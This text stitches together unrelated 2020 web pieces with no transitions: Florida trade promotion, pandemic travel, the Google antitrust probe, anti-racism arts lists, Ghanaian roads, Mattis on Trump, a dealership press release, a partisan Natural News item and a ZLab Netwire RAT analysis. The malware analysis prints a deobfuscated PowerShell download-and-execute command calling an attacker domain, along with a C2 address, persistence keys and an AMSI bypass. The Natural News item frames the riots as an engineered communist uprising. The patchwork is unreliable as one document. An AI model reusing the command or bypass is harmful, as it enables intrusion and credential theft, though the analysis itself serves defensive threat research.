We did speak to the event organizers, who have been in touch with their government. They have not canceled or postponed that event, Enterprise Florida Chief Operating Officer Robert Schlotman told members of the agencys Finance & Compensation Committee on Thursday. They feel that, as of right now, its still scheduled to go on. And we are anticipating that and planning for it.

With stay-at-home restrictions being eased in Florida and across the nation, committee Chairwoman Holly Borgmann said the agency has a great opportunity to start luring businesses and employees to Florida.

If youre a business in New York right now, and youre spending so much on taxes, and youve been hard hit by this epidemic, why not take a look at cutting your costs and moving to Florida? said Borgmann, who is vice president of government affairs at ADT home security service in Boca Raton. So, this is a great opportunity for us to go out on an aggressive footing.

The Legislature in March passed a state budget that includes $16 million for Enterprise Florida, though Gov. Ron DeSantis has not acted on the spending plan. In its proposed budget for the upcoming year, Enterprise Florida has designated $3.1 million for overseas travel and marketing efforts.

Schlotman said up to $1 million of the overseas efforts could be focused on a virtual program, but the intention is to increase in-person travel to trade shows.

Story continues

If we can pull off the first one successfully, we will certainly try and go for a second one before the end of the fiscal year, Schlotman said.

Our plan and the development of this budget is based on us starting to travel again in the October, November, December timeframe and for the next six months after that, he added.

Borgmann said the virtual matchmaking effort should help smaller companies that cant afford to take the time, spend the money to go on a full trade mission, but are still interested in maybe dipping their toe in the export market.

One international change expected in the upcoming year is relocating a contracted Southeast Asia office from Hong Kong to Singapore, Schlotman said.

What weve decided to do with the changes going on in Hong Kong currently, is we are going to cover more of that region by moving the office to Singapore, where we feel that hub will be a better return, more beneficial to what were trying to accomplish, and still be able to facilitate working with Hong Kong and China, Schlotman said.
It was a sunny week in March in the coastal town of Denmark, Australia, when Christi Sparrow and her family were faced with the question many travelers had to answer when the pandemic hit, What should we do?

Sparrow, her husband Jay and their two children, Chloe, 5, and Camden, 2, were a little more than halfway through a year-long trip around the world, a once-in-a-lifetime adventure to share with each other and on their Puddles and Passports website and social media channels. Since September, the Sparrows had traveled to Italy, Croatia, Germany, Thailand and Jays home country of England.

Now they were more than 10,000 miles away from the San Antonio home they rented out to help fund their journey.

Courtesy Christi Sparrow

Should they go back? That would mean Sparrow and the kids flying to Florida to stay at her fathers small condo in Florida, with her husband Jay flying back to Texas alone to pick up their car and then drive 1,200 miles to reunite with them. But then what?

Ultimately, the Sparrows settled on staying in Australia, moving from Denmark to the Western Australia capitol of Perth, just before the countrys regional borders closed.

Our grand travel plan is still kind of in motion, although its paused, Sparrow said by phone.

As the coronavirus continues to cripple travel both foreign and domestic, avid travelers such as the Sparrows find themselves contemplating severely compromised trips or no travel at all. Call it cautious uncertainty during the Great Travel Depression.

Even as shutdown measures loosen, leisure travelers still face a summer vacation season of enhanced sanitary protocols and limited capacities at hotels, theme parks and other travel destinations. Assuming they even want to go.

On ExpressNews.com: Column: Redefining summer vacation during a pandemic

People are just kind of wary, said Lindsey Duckworth, a San Antonio-based travel agent for A Time to Treasure Travel, which specializes in family vacations. Add in the social unrest right now, and nobodys booking trips to New Orleans or D.C. or any other city. People are putting the brakes on a lot of things.

Before the coronavirus pandemic, Duckworth was booking anywhere from five to 15 trips a week. Then all went quiet in March, with April and May only seeing cancellations.

Duckworth just booked the first trip in months: a couples wedding anniversary in the Caribbean island of St. Lucia in April 2021.

Honestly, the business came to a screeching halt, Duckworth said.

The tourism analysis company Tourism Economics found that national weekly travel spending in the U.S. for the week ending May 30 grew by 15 percent from the previous week to $4.3 billion, the most spent since March. Yet Tourism Economics noted domestic travel spending still remains severely depressed at about 20 percent of the average level seen in the weeks leading up to the pandemic.

But even with travel restrictions easing and more people booking trips around the country, Sandra Llewellyn, owner of AJ Travel in San Antonio, said her new bookings have remained soft, while those who have booked for trips in July, August or September have taken a wait-and-see approach.

People are going to be cautious until theres a vaccine, Llewellyn said.

Duckworth said about the only people who are traveling for leisure these days are the occasional millennials or frazzled parents with school-age children, so stir crazy from sheltering in place theyll take anything to look forward to. But for the most part, travel buffs are staying put.

Courtesy Christi Sparrow

The Sparrows had to reschedule what would have been their next stops in New Zealand and Hawaii.

Yeah, lots of on-the-fly adjustments, Sparrow said. But in the end, I think health and safety are most important. And beyond that were just glad to be all together as a family.

Frequent traveler Rosalva Mendez would agree.

On ExpressNews.com: Texas Gov. Abbott lifts air travel restrictions for travelers from NY, Calif., other states

I think just like everybody else were just kind of waiting to see what happens, Mendez said.

Courtesy Rosalva Mendez

Before the pandemic, Mendez, her husband and their daughters ages 10 and 14 traveled three to four times a year to Dallas, Chicago and other domestic destinations, along with frequent weekend road trips to a home in Aransas Pass. Mendez and her husband also took an annual trip or two abroad, usually to Belize or some other beach destination.

But when the coronavirus started spreading around the world, the Mendez family canceled a summer trip to Jamaica.

This was the first summer we were going to take our girls out of the country, Mendez said. Its disappointing. (But) we understand how serious COVID-19 is.

Mendez said her family wears face masks whenever theyre out and are cautious about being around too many people. They just dont see themselves boarding an airplane, she said, hence limiting their getaways to just those weekend drives to the Texas coast.

Its not just flying, she said. Its staying somewhere where youre not really sure (what to expect).

Which is why travel experts such as Duckworth and Llewellyn recommend vacationers either wait until they can enjoy a full-fledged vacation experience or take a trip now with a lot of compromises.

For example, Duckworth said Disney World recently reopened but took away its fireworks shows and meet-and-greets with Disney characters. And the Florida theme park is no longer taking reservations for 2020 due to capacity restrictions.

As for traveling abroad, better have that passport ready or renewed. Applying for a new passport now takes four to six months to process instead of four to six weeks, Duckworth said. That means late fall at the earliest to get a passport if you apply now.

Its hard to look forward to something with such uncertainty, Duckworth said.

One thing Duckworth is certain about: Travel destinations around the world have boosted their sanitation and safety protocols, with even the more luxurious places reexamining and reassuring visitors theyre not taking any chances.

Just the same, Llewellyn encourages consumers traveling outside the U.S. to take out travel insurance. And like Llewellyn, Duckworth also recommends doing your due diligence by researching every stop on your travels before you head out.

On ExpressNews.com: San Antonio boy gets flattened to travel to all 50 states amid the coronavirus pandemic

Sparrow believes, though, that travelers still can make the most out of any trip, even with limitations. It just takes patience and creativity.

Courtesy Christi Sparrow

The Sparrows plan to spend the next couple of months exploring as much of Australias west coast as they can. Then if international borders open, they hope to make their way to New Zealand.

One of the great gifts of travel is opening your mind, broadening your perspective and seeing how other people live, Christi said. It takes us out of our comfort zone, but it also opens our eyes.

Not even a global pandemic can dampen that enthusiasm.

Rene Guzman is a features reporter in the San Antonio and Bexar County area. He writes about pop culture and what makes San Antonio so uniquely puro San Antonio. To read more from Rene, become a subscriber. rguzman@express-news.net | Twitter: @reneguz
Visitors pass by the logo of Google at the high profile startups and high tech leaders gathering, Viva Tech, in Paris, France May 16, 2019.

The state attorneys general investigating Google for potential antitrust violations are leaning toward pushing for a breakup of its ad technology business as part of an expected suit, people familiar with the situation told CNBC.

Fifty attorneys general have been probing Google's business practices for months, alongside a similar probe being led by the U.S. Department of Justice. Both the states and the DOJ are looking to file a suit against the internet giant as soon as within the next few months, the people told CNBC.

The states and the Justice Department have not yet officially decided whether to combine their expected suits, the people said, though they have been collaborating closely. Both have been investigating Google's search, ad technology and android business.

The attorneys general investigating Google, which is owned by Alphabet, haven't yet definitively ruled out pushing for alternatives for its ad technology business, like imposing restrictions on how it runs its business, one of the sources said. A suit may also include a push for both that option and breaking up the ad tech business.

Should the attorneys general aggressively pursue a break up of Google's ad technology business, it would be notable. While regulatory enforcement agencies have recently favored "structural remedies"  breakups and divestitures  regulators have less onerous solutions available, like barring certain behaviors through a consent decree.

Once the attorneys general file their expected lawsuit, they have a number of tools at their disposal to signal their intent to push for a breakup of Google's ad technology business. That includes what they allege, the evidence they introduce, pre-trial briefings and news conferences.

In Google's case, pushing for a breakup of its ad technology business may be difficult, some lawyers say, because it does not exist as a stand-alone unit easily hived off. And its two main deals, DoubleClick in 2007 and AdMob in 2009, were years ago.

"Courts are very concerned that by ripping a company apart, it hurts consumers and make it worse for people that don't have the expertise to do that," said Stephen Houck, one of the government lawyers in the Microsoft antitrust case two decades ago. Houck is now an adviser to Google.

While Google generates the majority of its roughly $161 billion in revenue from ad sales, the revenue it gets from the software and technology that serve as the backbone of that business is far smaller. Its Network Members business, which includes AdMob, AdSense and Google Ad Manager, generated about $22 billion in sales the last fiscal year.

Google retired the DoubleClick name in 2018, putting its DoubleClick products for advertisers together with Google Analytics 360 to become the "Google Marketing Platform." Then it put its DoubleClick products for publishers and the DoubleClick ad exchange into the "Google Ad Manager."

While the government has successfully fought for a breakup of corporate giants in the past, including Standard Oil in 1911 and AT&T in the 1980s, more recent cases have imposed weaker remedies. Both IBM in the 1980s and Microsoft in 2000 concluded antitrust suits without breaking up the respective companies.

Still, political winds have more recently seemingly turned against big technology companies.

President Donald Trump has alleged, along with other Republicans, that companies like Google censor conservative content, a claim Google has denied. He earlier this month signed an executive order vowing to crack down on the liability protections for internet companies like Google through Section 230 of the Communications Decency Act.

Attending the signing of that executive order was Attorney General William Barr, whose deputy recently took leadership of the Justice Departments' antitrust investigation into Google, after the country's top antitrust official, Makan Delrahim, recused himself.

Presidential candidate Joe Biden served as vice president for Barack Obama, who has been criticized for allowing tech companies to become too powerful on his watch. Biden has said that, as president, he would set up a new department within the Justice Department to go back and look at the megamergers that have occurred and those that are being proposed.

A spokesperson for Google told CNBC in a statement, "We continue to engage with the ongoing investigations led by the Department of Justice and Attorney General Paxton, and we don't have any updates or comments on speculation."

"The facts are clear," she added, "our digital advertising products compete across a crowded industry with hundreds of rivals and technologies, and have helped lower costs for advertisers and consumers."

A spokesperson for Texas Attorney General Ken Paxton, who is leading the ad tech part of the probe, declined to comment. A spokesperson for the DOJ did not respond to a request for comment.
A wave of vital protests and campaigns have occurred over the last week and, while this energy has been incredible, we want to make sure that this isn't a passing moment and instead the beginning of a wider change.

We've created a number of articles and a custom guide to provide you with long-term resources and links.

This is a rolling list so if you want to add something please email [email protected]









A comprehensive guide to anti-racism resources has been created

The guide features resources for children, videos, podcasts, books, films and more.

It also provides links to key social media accounts that can provide up-to-date information about rallies and plans for the future.

Check it out here.





Reading, watching and listening

A list of documentaries to watch is available here.

You can also check out this list of films and collectives available in the UK, how much they might cost and where you can access them here.

There is a great article here on how venues can avoid resorting to tokenism.

Jade Anouka's TEDTalk, about being Black, being a Woman, being 'Other', is here in full.

The New York Times has compiled a reading list full of anti-racist books and more.

This Fractured Atlas article also gives white people tips regarding learning and talking about race and racism.

An article in The Stage has highlighted the treatment of drama school students.

This is a top-line introduction to the ideas and themes behind the ongoing protests from Gary Younge.

Here's an open letter written by Royal Opera House technical director Mark Dakin.

Broadway stars will be holding a Black Lives Matter Forum from 10 to 12 June.

Shakespeare's Globe has compiled a list of useful books and more here, with a particular focus on race within the playwright's works.

As has Northern Stage.

Museum of Colour is a very useful and well wrought online tool.

Jemma Desai's vital article "The arts are in The Sunken Place - how do we Get Out?" can be read here.





Actress Marisha Wallace compiled a great list of easily accessible media:

Things you can do! pic.twitter.com/GBBcCARfEe  Marisha Wallace (@marishawallace) June 2, 2020





A novice's list of 30 plays to read or watch

Antoinette Nwandu's Pass Over, which recently had its UK premiere at the Kiln Theatre and was adapted into a film.

A lot of Anna Deavere Smith's work including Notes from the Field and Twilight: Los Angeles, 1992 is directly relevant to the ongoing protests and unnecessary killings.

debbie tucker green's work, including ear for eye (available to read for free), random, generations, hang and more.

Braden Jacobs Jenkins' An Octoroon, recently having its UK premiere.

Award-winning writer Jeremy O Harris has created waves with a number of new works in recent years, including Slave Play and Daddy.

Katori Hall's The Mountaintop, which is being performed online on Wednesday 10 June.

Daniel Ward's The Canary and the Crow explores identity within both private education and, pertinently, UK drama schools.

Inua Ellams' Barber Shop Chronicles, which was recently streamed for free online.

Dael Orlandersmith's Until the Flood, based on the interviews she conducted in St Louis, in spring 2015, six months after the death of an 18 year-old African American black man Michael Brown who was shot down by a white police officer.

Jennifer Kidwell and Scott R Sheppard's devised Underground Railroad Game, which is about the legacy of slavery.

Lynn Nottage is the first (and remains the only) woman to have won the Pulitzer Prize for Drama twice, and her plays are a magnificent proof of what theatre can achieve to inform others. Intimate Apparel, Ruined, By the Way, Meet Vera Stark and Sweat are each worth pouring over.

Morgan Lloyd Malcolm's Emilia explores the supposed "Dark Lady" of Shakespeare's sonnets. Its final speech is shatteringly good.

Nouveau Riche's award-winning piece Queens of Sheba is excellent.

Janice Okoh's new play The Gift uses the real-life story of Sarah Bonetta Davies to explore the legacy of imperialism and race.

Jackie Sibblies Drury's Fairview is a Pulitzer Prize-winner of supreme excellence, exposing prejudices within both society and the arts community. She also explores the impact of European genocides in We Are Proud to Present a Presentation About the Herero of Namibia, Formerly Known as Southwest Africa, From the German Sudwestafrika, Between the Years 18841915.

Lorraine Hansberry's Les Blancs. Now 50 years old, the play's relevance has never wavered.

Ishmael Reed's The Haunting of Lin-Manuel Miranda deconstructs the ideas within Hamilton, offering an alternative perspective on the founding fathers as slave-owners and their attitudes towards Native Americans.

Jeff Stetson's The Meeting imagines a meeting between Martin Luther King, Jr. and Malcolm X during the civil rights movement.

Malcolm X also reappears in Kemp Powers' One Night in Miami, which imagines the conversation during a real meeting between the activist, Jim Brown, Cassius Clay and Sam Cooke.

Michael R Jackson's musical A Strange Loop won the Pulitzer Prize following its run last year. It charts the life of "a gay, black writer" and the cast recording is special.

Selina Thompson's salt. had a number of runs and continues to be very relevant.

Cassiopeia Berkeley-Agyepong and Simone Ibbett-Brown lambast the presence of racism in the arts industries in Shuck 'n' Jive.
A sod-cutting ceremony has been held for the construction of three road projects and the paving of some landmark areas in Agona Swedru in the Central Region.



The three projects fall under the Urban Development Grant Project, which is subject to the Ghana Secondary Cities Support Programme (GSCSP) and includes the construction and bitumen-surfacing of the 2.5-kilometre Mahodwe area roads (comprising the Mahodwe Link, the Osama Station Street, the Nana Donkor Street, the Nana Duodu Street, the Esukontin Street and the Egya Ebusua Street) and Otabilkrom roads.



The other works cover the paving of the forecourt of the Swedru Town Hall and the Swedru Taxi Rank, which become muddy anytime there is a downpour.



The World Bank is funding the projects at GH7.4 million and they are expected to be completed within a year. They are to be executed by three contractors.



Good roads key



Addressing the ceremony in Agona Swedru last Wednesday, the Municipal Chief Executive (MCE) for Agona West, Mrs Justina Marigold Assan, said good roads played a critical role in the socio-economic development of nations.



It is for this reason that the government, through the municipal assembly, is committed to improving road networks in the municipality, she said.



She said the construction of roads in Swedru would give meaning to the Year of Roads proclamation by President Nana Addo Dankwa Akufo-Addo, aimed at improving roads across the country this year.



Already, Swedru has had its share of road development, as roads in Swedru have been asphalted, in addition to the surface dressing of portions of the Swedru-Akyem Oda main road, all directed at enhancing vehicular movement, she said.



She charged the contractors to adhere strictly to the timelines and ensure that the projects were completed within the stipulated period.



Lack of access roads



Agona Swedru, the capital of the Agona West Municipality and major commercial town, is faced with the challenge of unmotorable roads. Apart from a few major streets that were constructed many years ago and still have tarred surfaces, many of the access roads in the town are dotted with potholes.



As a result, there is constant gridlock in the central business area of the town, making motorists and commuters spend a lot of time in traffic.



Akora River drainage project



The Member of Parliament (MP) for Agona West, Mrs Cynthia Morrison, commended the government for its decision to improve roads in the town to meet its status as the capital of the Agona West municipality.



She disclosed that the Swedru Akora drainage project which had stalled had been re-awarded to another contractor, and that work on it would soon resume.



As part of that project, three new footbridges will be constructed across the Akora River to link Mahodwe and Sabon Zongo, Desuenim and Old Sawmill and Desuenim and the Pentecost Convention Centre, she said.



Funds available



The Central Regional Coordinating Director, Mr Kingsley Agyei Boahene, said funds for the projects were ready and gave an assurance that the RCC would monitor the projects to ensure there was value for money.



Background



The GSCSP is a five-year programme whose implementation was begun in 2019 and is being implemented in 25 municipalities nationwide.



Three municipalities in the Central Region were selected as beneficiaries  Awutu Senya East, Agona West and Mfantseman.



The programme is aimed at developing and creating additional cities in an effort to decongest the major cities in the country.









Source: Daily Graphic









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured Video
Former US defense secretary says Trump deliberately sows division among Americans

Global Times

Source:Xinhua Published: 2020/6/4 15:30:58

Former US Defense Secretary Jim Mattis broke silence on Wednesday amid the ongoing turbulent unrest across the United States, saying that President Donald Trump "tries to divide" the American people.

"Donald Trump is the first president in my lifetime who does not try to unite the American people -- does not even pretend to try. Instead, he tries to divide us," said the revered Marine general, who resigned as the Pentagon chief in December 2018 in protest against Trump's Syria policy.

"We are witnessing the consequences of three years of this deliberate effort. We are witnessing the consequences of three years without mature leadership," Mattis continued in an article carried by the Atlantic magazine.

"We can unite without him, drawing on the strengths inherent in our civil society. This will not be easy, as the past few days have shown, but we owe it to our fellow citizens; to past generations that bled to defend our promise; and to our children," he said.

Mattis's excoriation came as Trump threatened to send in active-duty military forces to quell the ongoing protests against police brutality and racial discrimination that have spread to over 300 US cities and towns following the killing of George Floyd, an unarmed black man in Minneapolis, by white police.

"We should use our military only when requested to do so, on very rare occasions, by state governors. Militarizing our response, as we witnessed in Washington, D.C., sets up a conflict -- a false conflict -- between the military and civilian society," Mattis said.

Noting that the protesters were "rightly demanding" equal justice under law, Mattis said he has "watched this week's unfolding events, angry and appalled."

"It is a wholesome and unifying demand -- one that all of us should be able to get behind. We must not be distracted by a small number of lawbreakers," he continued. "The protests are defined by tens of thousands of people of conscience who are insisting that we live up to our values -- our values as people and our values as a nation."

"We must reject and hold accountable those in office who would make a mockery of our Constitution," said the former defense secretary.

Mattis also bluntly berated Trump's posing for a photo op in front of a fire-damaged church near the White House. The president, flanked by senior administration officials including Defense Secretary Mark Esper and Chairman of the Joint Chiefs of Staff Mark Milley, visited on Monday the St. John's Church minutes after police used non-lethal weapons to disperse peaceful protesters nearby.

"When I joined the military, some 50 years ago, I swore an oath to support and defend the Constitution," Mattis wrote. "Never did I dream that troops taking that same oath would be ordered under any circumstance to violate the Constitutional rights of their fellow citizens -- much less to provide a bizarre photo op for the elected commander-in-chief, with military leadership standing alongside."

Apparently outraged by Mattis's remarks, Trump took to Twitter to fight back, saying he "had the honor of firing Jim Mattis, the world's most overrated General."

"His primary strength was not military, but rather personal public relations," Trump said. "I didn't like his 'leadership' style or much else about him, and many others agree. Glad he is gone!"

On May 25, 46-year-old Floyd died after a white police officer knelt on his neck for almost nine minutes until he stopped breathing.

In a video posted online, the victim is heard saying "I can't breathe," while three other police officers stand close by.

Referring to the death of Floyd and the ensuing nationwide unrest, former President Barack Obama -- himself an African American -- said Wednesday that "as tragic as these past few weeks have been, as difficult and scary and uncertain as they've been, they've also been an incredible opportunity for people to be awakened to some of these underlying trends."

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AUGUSTA, Ga. and HAINES CITY, Fla., June 5, 2020 /PRNewswire/ -- For Michael Dennis Murphy @realmikemurphy, the leader of Murphy Auto Group, community is an integral part of the business. During the COVID-19 pandemic, the Murphy Auto Group dealerships stepped up and continues to give back to the community in numerous ways including providing sanitization service to first responders, distributing thousands of meals and masks, and eliminating medical debt in the CSRA.

Murphy Auto Group providing sanitization service to first responders Donation to wipe out 1.5 million in medical debt for veterans.

Murphy Auto Group sourced GTECH Clean Complete Germ Protection as a sanitization option to kill 99.9% of bacteria and viruses, including coronavirus. Miracle Toyota in Haines City, FL invited the local police and fire departments to receive GTECH sanitization for their vehicles at no charge! Hundreds of cars were sanitized for the Haines City Fire Department, the Polk County Sheriff's Department, and medical professionals from Advent Hospital. Miracle Toyota also provided free oil changes for first responders during the month of April.

Murphy Auto Group partnered with Feeding Tampa Bay and Golden Harvest Food Bank in the CSRA to donate and distribute 11,000 complete meals to CSRA and Polk County families in need.

Murphy Auto Group also donated 10,000 masks to the community in Haines City and the CSRA via VA Hospitals, churches, and local charities. Additionally, the dealerships gave away 4 masks per family during weekends in May.

Last but not least, Murphy Auto Group fulfilled its promise of paying off $1.5 million in medical debt for more than 500 families in the CSRA through a partnership with RIP Medical Debt Relief, a nonprofit based in New York. Several local families in the CSRA will receive a letter from RIP Medical notifying them that through the Murphy Auto Group donations, $1.5 million dollars of medical debt will be wiped out.

Murphy Auto Group is committed to the community now more than ever. In June, we are introducing the Community Relaunch Program to the CSRA. This program highlights local businesses on the Murphy Auto Group social media channels as they reopen in the market. As we reopen, we want to support our local businesses and community. We are stronger in this together.

About Murphy Auto Group

Murphy Auto Group is an auto group that consists of Miracle Toyota in Haines City, Florida, and 4 dealerships in Georgia and South Carolina, Bob Richards Toyota, Bob Richards Nissan, Bob Richards CDJR and Miracle Nissan. Murphy Auto Group has been in the new and used automotive franchised business since 1979 and has several dealerships in GA, SC, FL. Murphy Auto Group is well known for its philanthropic efforts and has a long history of supporting community initiatives, military organizations, humanitarian missions, higher learning institutions, young initiatives and host a variety of donations throughout the year.

Media Contact

Sylvana Murphy

813-464-0856

[email protected]

SOURCE Murphy Auto Group
We have to have police reform called for. Weve called out our National Guard and our state police, but the rhetoric thats coming out of the White House is making it worse, Pritzker said. And I need to say that people are feeling real pain out here and that weve got to have national leadership that is calling for calm and making sure that were addressing the concerns of the legitimate peaceful protesters. That will help us bring order.
(Natural News) Rioters have vandalized and damaged several historic monuments in Washington, D.C. including one statue erected to honor the victims of communism, which was spray painted with several protest messages, including one that said BLM  the initials of the Black Lives Matter movement.

The statue was erected by the Victims of Communism Memorial Foundation (VOCM). It is located in Washington, D.C. and former President George W. Bush himself dedicated the statue on June 12, 2007. According to the VOCM, the statue was erected to remember that the history of communist tyranny will be taught to future generations.

The memorial is a 10-foot tall bronze replica of the Goddess of Democracy, a 33-foot tall foam and papier-mache statue built by Chinese anti-communist workers and student activists during the Tiananmen Square Protests of 1989. When China began stamping out the protests, a tank was used to push over the Goddess of Democracy, causing it to fall and break apart easily. Thousands of Chinese civilians killed and many more were arrested in the ensuing crackdown.

(2/2) The culprits are not yet known. The site has been targeted by socialist extremist and Antifa groups in the past. pic.twitter.com/YGSEwiCa4e  Marion Smith (@smithmarion) June 2, 2020

Given that Antifa groups openly espouse Marxist ideology and have vandalized our memorial before, its not surprising that the group would deface it and dishonor the memory of more than 100 million dead again, said Marion Smith, executive director of the Victims of Communism Memorial Foundation, in a statement made to The Daily Caller.

We call on the D.C. Metropolitan Police Department to protect public spaces and memorials like ours from further vandalism and destruction, he added.

Listen to the Health Ranger Report by Mike Adams, the Health Ranger, as he talks about how the engineered riots are a communist uprising.

Destruction of monuments hurtful on a number of levels

President Donald Trump has blamed a lot of the violence and property damage in Washington, D.C. on Antifa, a loosely organized group of people who identify with the far left. Attorney General William Barr even announced over the weekend that they designate Antifa as a terrorist organization and will prosecute members who have participated in acts of domestic terrorism.

Photos provided by the National Parks Service show that the rioters in Washington, D.C. damaged or defaced several other historic monuments in the capital, including both the Lincoln Memorial and the World War II Memorial. Additionally, St. Johns Episcopal Church, famous for being the church of the presidents, sustained damage in a minor fire on Sunday night. St. Johns Church is located across the street from the White House.

https://twitter.com/NationalMallNPS/status/1267124873085804544

When asked about the damage to historic sites, White House Press Secretary Kayleigh McEnany said that it was hurtful on a number of levels and that it does not make much sense for protesters to target historic monuments.

That doesnt honor George Floyd, she said. It doesnt, and certainly not the burning of St. Johns Church.

And those are violent anarchists, antifa, who are taking advantage of the pain of people, the pain of the peaceful protesters, she added.

Protest groups in Washington, D.C. continue to defy authorities

Despite the fact that Washington, D.C. has instituted a curfew  along with over 40 other cities across the country  protesters continue to congregate in the nations capital.

While things are appearing to lighten up around the capital and the violence of the past few days has abated, more National Guard troops are still being sent to Washington to support local and federal law enforcement in their mission to enforce safety. The different units that can be seen in the capital range from local law enforcement, the Secret Service, U.S. Park Police, the FBI and even the DEA. (Related: Additional National Guard units deployed as riots and looting overtake the country.)

In response to the historic monuments having been vandalized, a large contingent of the National Guard lined up in front of the Lincoln Memorial on Tuesday afternoon.

On Wednesday, the demonstrations continued. D.C. law enforcement officers cut off the demonstrators from their main protest area near Lafayette Park, right in front of the White House. This marks the sixth consecutive day of protests occurring in Washington, D.C. as part of the nationwide demonstrations.

One person, who has joined the demonstrations since they began on Friday, May 29, said that the move to keep protesters away from Lafayette Park constitutes a pattern. On Friday night, the group could be found very near the White House itself. Once the protests died down, law enforcement pushed back the protest zone to Lafayette Park.

Im sure tomorrow well be pushed back even more, the protester said.

Washington, D.C. Mayor Muriel Bowser made a brief appearance at the demonstration on Wednesday afternoon, where she urged for a peaceful protest, and called on the groups present to disavow anybody planning to destroy public or private property. It should be noted that Mayor Bowser is vehemently against President Trumps plan to bring the U.S. military to the capital to clamp down on the protests. She has said that not only does she think such an act would be unconscionable, but that it may also be illegal.

Rioting.news has more unbiased and up-to-date coverage on the escalating violence in the country.

Sources include:

TheEpochTimes.com

GeorgeWBush-WhiteHouse.Archives.gov

Web.Archive.org

WashingtonExaminer.com

EpiscopalNewsService.org

NBCNews.com

WUSA9.com

USAToday.com
ZLab malware researchers analyzed the attack chain used to infect Italian speaking victims with the Netwire malware.

Introduction

Info stealer malware confirms to be one of the most adopted weapons of cyber actors. One of them is Netwire (MITRE S0198), a multiplatform remote administration tool (RAT) that has been used by criminals and espionage groups at least since 2012.

During our Cyber Threat Intelligence monitoring we spotted a particular Office document weaponized to deliver such kind of malicious tool, uncovering a hidden malicious campaign designed to target Italian speaking victims. The particular chain of attack we discovered showed interesting technical patterns resembling other previous activities targeting the Italian manufacturing landscape, for this reason, we decided to dig deeper.

Technical Analysis

The variant used in this campaign is similar to other samples of the NetWire malware family but has an evolution of the attack chain. The following picture reports the NetWire infection chain used in this campaign:

Figure 1: Infection Chain

The Italian Dropper

This NetWire campaign is delivered as a malicious email attachment with XML macro embedded into it. Following, the static information of the dropper:

Hash b7e95d0dcedd77ab717a33163af23ab2fd2dc6d07cdf81c5e4cfe080b0946b79 Threat XLSM document dropper Size 273 KB (279.577 byte) Filetype Microsoft Excel Macro Activation Sheet Brief Description NetWire XLSM Document Dropper with malicious macros embedded into it Ssdeep 6144:LBm/nRdmLKd+le81QPBkmmZBHlSUDIUxOW9c8oactq:KnHmLsgenklZBDkUgWD1cI

Table 1: Static information about the sample

Once opened, the Excel document looks like a document with some dynamic elements but hasnt some clickable buttons. There, the classical security notice informs us that macros are contained in the document and are disabled.

Figure 2: Overview of the malicious document

The macro contained inside the document is quite minimal and does not contain dead code or other anti-analysis technique, a part of the random looking variable naming.

Figure 3: Extracted Macro

The VBS macro snippet contacts the cloudservices-archive.]best domain in order to download the next stage payload hidden inside a file named as picture file, but it is not a picture and neither an executable: it actually is a XSL stylesheet containing Javascript able to load another ActiveX object.

Figure 4: Piece of the JS code

The obfuscation of this powershell command is straightforward to decode and the result is the following:

(&+'(G+C+^#^.replace(^#^,M)+ *W-+O*)+ Ne+t.+W+eb+C+li+ent)+.D+ow+nl+oa+d+F+il+e(http://cloudservices-archive.best/fiber[.]vbs,$env:APPDATA+\.vbs)|I`E`X;start-process($env:APPDATA+ \.vbs)

Code Snippet 1

At this point, the malware tries to download the additional fiber.vbs file from the previous location, a small code snippet hiding powershell invocation through several nested replacements.

Figure 5: Piece of the downloaded VBS script

In fact, this time the code is heavily obfuscated and contains many string manipulation subroutines, but, once the result string is reconstructed, the abovementioned powershell reference becomes clearer.

Figure 6: Piece of the deobfuscated powershell payload

It actually contains another powershell stage designed to gain awareness of the execution environment and trigger the execution of an additional stage.

In this case, the malware downloads the image01.jpg file from the same domain of the previous stages. If the download is successful, the malware reads raw bytes from the downloaded file and transforms them into ready to execute powershell code. Here, two dynamically linked libraries are unpacked and prepared to be loaded in memory: one is for AMSI bypass and the oher is the final payload.

Code Snippet 4

The script also configures a persistence mechanism copying itself inside the directory %APPDATA%\Local\Microsoft and setting up the a registry key on HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

Figure 7: Deobfuscation of the command to prepare the persistence mechanism

Figure 8: Evidence of the persistence mechanism

Hacking Tool #1: Patching the AmsiScanBuffer

The first of the two DLL embedded in the previous powershell snippets is actually used as a tool to bypass AMSI, the Microsofts AntiMalware Scan Interface. In particular, after its loading, the first method of this DLL run in the infection chain is the [oioioi]::fdsfdf() one.

Figure 9: Evidence of the Patching AmsiScanBuffer technique

The above figure shows how the trick is done: from the Assembly Title field it retrieves the two component, amsi.dll and AmsiScanBufer, required to reference the target method to patch to avoid payload detection at runtime.

Hacking Tool #2: The Injector

Actually, the second DLL is not the final payload. It rather is another utility: a process injection utility used to hide the malware implant into other processes memory.

Figure 10: Evidence of the decompiled Injector module

As seen in the Code Snippet 4, the variable $MNB is passed as parameter on the invocation of the static method CRASH, in the CASTLE class. The other parameter is the target process where the injection takes place. This .NET compiled executable contains many references to the injection method used from the attacker. A piece of them is the following:

Figure 11: Evidence of the injection calls inside the code

The Payload

The final payload was stored in the $MNB2 variable catched in the last powershell stage.

Hash 4E4001C6C47D09009EB24CE636BF5906 Threat NetWire executable Size 148.00 KB (151552 bytes) Brief Description Final payload of NetWire Rat Ssdeep 3072:2XFgYEAsB4+Cb3iiDUCcmE90rvPkGK+drboYMIFfS:2XGYEVat3iiDUCcf+rEG5+zIFf

Table 2: Static information about the Netwire Payload

While analyzing the binary structure, we recovered the hardcoded IP address of the configured command and control server: 185.140.53.]48. A Belgian host operated by an anonymized services provider abused by this actor. The Netwire executable uses a self-decrypting routine to run its trojan modules, it allocates a new memory area and then decrypts the clean code as shown in the figure below.

Figure 12: Piece of the Self-Decrypting routine

Once decrypted, the malware saves its bot information into the registry key HKCU\Software\Netwire. At this point it was easy to spot the malicious functions characterizing Netwire RAT variants. To sum it up, Netwire RAT enables its operator to acquire sensitive information from victim machine, for instance by:

stealing Outlook credentials;

stealing Internet Explorer Browser History;

stealing Chrome Browser History;

stealing Mozilla Browser History;

recording keystrokes.

All the sensitive data acquired with this piece of malware, is then sent to the attacker command and control server, potentially enabling frauds and further network compromise.

Figure 13: Track of the set registry key

Figure 14: Complete Registry key

Similarities and Patterns

In this analysis, we described an attack designed to lure italian victims and deliver a piece of the so-called commodity malware with an intense code manipulation to avoid detection.

